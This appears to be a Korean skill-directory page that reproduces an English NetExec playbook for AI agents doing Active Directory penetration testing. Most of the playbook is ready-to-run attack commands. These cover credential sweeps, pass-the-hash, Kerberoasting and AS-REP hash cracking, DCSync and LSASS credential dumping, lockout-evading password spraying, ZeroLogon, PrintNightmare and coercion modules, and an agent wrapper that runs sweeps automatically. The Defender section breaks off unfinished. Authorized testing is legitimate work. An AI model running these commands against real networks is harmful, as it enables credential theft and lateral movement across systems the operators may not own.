netexec
하는 일
이 스킬은 네트워크 전체에서 로그인과 서비스 설정을 점검하는 명령줄 도구인 NetExec에 대한 실무 안내서입니다. 테스트하는 네트워크에 대해 서면 허가를 받은 보안 테스터를 위한 스킬입니다.
사용하는 경우
- ✓보안 테스터가 허가된 범위 안에서 어떤 컴퓨터가 특정 테스트 로그인을 받아들이는지 확인해야 할 때.
- ✓에이전트가 Windows 또는 Active Directory 정보를 수집하기 위해 NetExec 모듈을 실행해야 할 때.
- ✓팀이 자주 쓰는 NetExec 명령어를 짧게 정리한 요약표를 원하는 경우.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/netexec/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“NetExec를 사용해서, 우리 허가된 테스트 서브넷에서 테스트 계정을 받아들이는 컴퓨터가 어디인지 확인해 주시겠어요?”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 선택한 프로토콜과 테스트 정보로 NetExec를 실행하고, 각 호스트의 결과를 읽어 발견 내용을 요약합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
NetExec (nxc) Playbook
NetExec is the actively-maintained fork of CrackMapExec (archived 2023). One CLI, 8+ protocols, 200+ modules. The Swiss-army knife of Windows / AD pentest.
1. Install
pipx install netexec # preferred — isolates deps
# Or:
git clone https://github.com/Pennyw0rth/NetExec && cd NetExec && pipx install .
2. Protocol auth sweep
# Test creds across a subnet — single SMB null bind sweep
nxc smb 10.0.0.0/24
# With creds
nxc smb 10.0.0.0/24 -u alice -p Spring2024!
nxc smb 10.0.0.0/24 -u alice -H aad3b435b51404ee...:31d6cfe0d16ae931... # NTLM hash
# Across protocols — same creds, different services
nxc ldap $DC -u alice -p $PW
nxc mssql 10.0.0.5 -u alice -p $PW
nxc winrm 10.0.0.5 -u alice -p $PW
nxc rdp 10.0.0.5 -u alice -p $PW
nxc ssh 10.0.0.5 -u alice -p $PW
# Kerberos auth
nxc smb $DC -u alice -p $PW -k --kdcHost $DC
3. Critical modules
3.1 BloodHound auto-collect (built-in)
nxc ldap $DC -u alice -p $PW --bloodhound --collection All \
--dns-server $DC_IP
# Drops Zip in current dir, ready to ingest into BloodHound
3.2 ADCS ESC1-15 scan
nxc ldap $DC -u alice -p $PW -M adcs
# Lists all certificates templates + vulnerability flags
3.3 Kerberoasting
nxc ldap $DC -u alice -p $PW --kerberoasting kerb.hashes
hashcat -m 13100 kerb.hashes wordlist.txt
3.4 AS-REP roasting
nxc ldap $DC -u alice -p $PW --asreproast asrep.hashes
hashcat -m 18200 asrep.hashes wordlist.txt
3.5 Spider SMB shares
nxc smb 10.0.0.0/24 -u alice -p $PW \
--spider-plus --extensions txt,xml,config,ini,xls,xlsx,docx \
--output-folder /tmp/spider
3.6 DC sync (when authorized as DA)
nxc smb $DC -u administrator -p $PW --ntds drsuapi
# Drops ntds.dit hashes to stdout/output
3.7 Password spray (with lockout protection)
nxc smb $DC --users users.txt -p 'Spring2024!' --threads 1 --jitter 30
# Slow + jittered to evade lockout
3.8 Module catalog
nxc smb -L # all SMB modules
nxc ldap -L # all LDAP modules
nxc smb -M lsassy -o ... # use lsassy module to dump LSASS
nxc smb -M wcc # Windows Configuration Collector
nxc smb -M printnightmare # PrintNightmare CVE-2021-34527
nxc smb -M zerologon # ZeroLogon CVE-2020-1472
nxc smb -M scuffy # scf file for credential coercion
4. Output formats
nxc smb $TARGET -u alice -p $PW --log /tmp/nxc.log
nxc smb $TARGET -u alice -p $PW --json /tmp/nxc.json
nxc smb $TARGET -u alice -p $PW --csv /tmp/nxc.csv
NetExec also writes to ~/.nxc/ SQLite DB by default — query w/
nxcdb:
nxcdb
nxc > workspace default
nxc default > proto smb
nxc default (smb) > hosts
nxc default (smb) > creds
5. Decepticon integration
When agent has any valid AD cred (recon or roast), the first move
should be nxc smb cred-sweep across the subnet. It surfaces:
- Local admin reuse (massively common; instant lateral)
- SMB signing disabled (relay target)
- Shares accessible (PII / cred farming)
- OS version + domain membership
Wrap as Decepticon tool:
# decepticon/tools/ad/netexec.py — skeleton
from decepticon.tools.bash import bash_tool
def nxc_sweep(protocol: str, targets: str, user: str, pw_or_hash: str, modules: list[str] = None) -> dict:
"""Run nxc across targets; parse JSON output; promote findings to KG."""
cmd = f"nxc {protocol} {targets} -u {user}"
if len(pw_or_hash) == 32 + 1 + 32: # LM:NT hash
cmd += f" -H {pw_or_hash}"
else:
cmd += f" -p {shlex.quote(pw_or_hash)}"
if modules:
for m in modules:
cmd += f" -M {m}"
cmd += " --json /tmp/nxc.json"
result = bash_tool(cmd)
if Path("/tmp/nxc.json").exists():
return json.loads(Path("/tmp/nxc.json").read_text())
return {"error": "no json output"}
6. PoC framing
# Confirm sweep — find local-admin reuse
nxc smb 10.0.0.0/24 -u alice -p $PW --local-auth | grep '(Pwn3d!)'
# Each (Pwn3d!) = local admin = lateral pivot target
7. Severity
- (Pwn3d!) on production host: Critical 9.8 (RCE-ready)
- SMB signing disabled in production: High 7-8 (relay attack possible)
- Shares world-readable w/ PII: Critical depending on data
8. Defender
- Enforce SMB signing required (GPO: Computer Config → Windows Settings → Security Settings →
자주 묻는 질문
NetExec란 무엇인가요?
SMB, LDAP, WinRM 같은 많은 네트워크 프로토콜과 함께 작동하는 공개 도구이며, CrackMapExec의 후속 도구입니다.
어떤 네트워크든 스캔할 수 있나요?
스킬은 허가된 대상에만 쓰도록 되어 있으며, 에이전트는 스캔 전에 범위를 확인해야 합니다.
스킬에 설치 방법이 포함되어 있나요?
네. pipx를 사용하거나 프로젝트 소스에서 설치하는 방법을 보여 줍니다.
상세 정보
작성자의 원본 설명
NetExec (CrackMapExec successor) — unified SMB/LDAP/MSSQL/WinRM/RDP/SSH/FTP/VNC protocol auth + post-auth modules. 200+ modules incl. BloodHound auto-ingest, ESC1-15 scanning, PrintNightmare, LDAP relay.
인기도
- GitHub 스타
- 6.5k
- 순위
- #13944
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.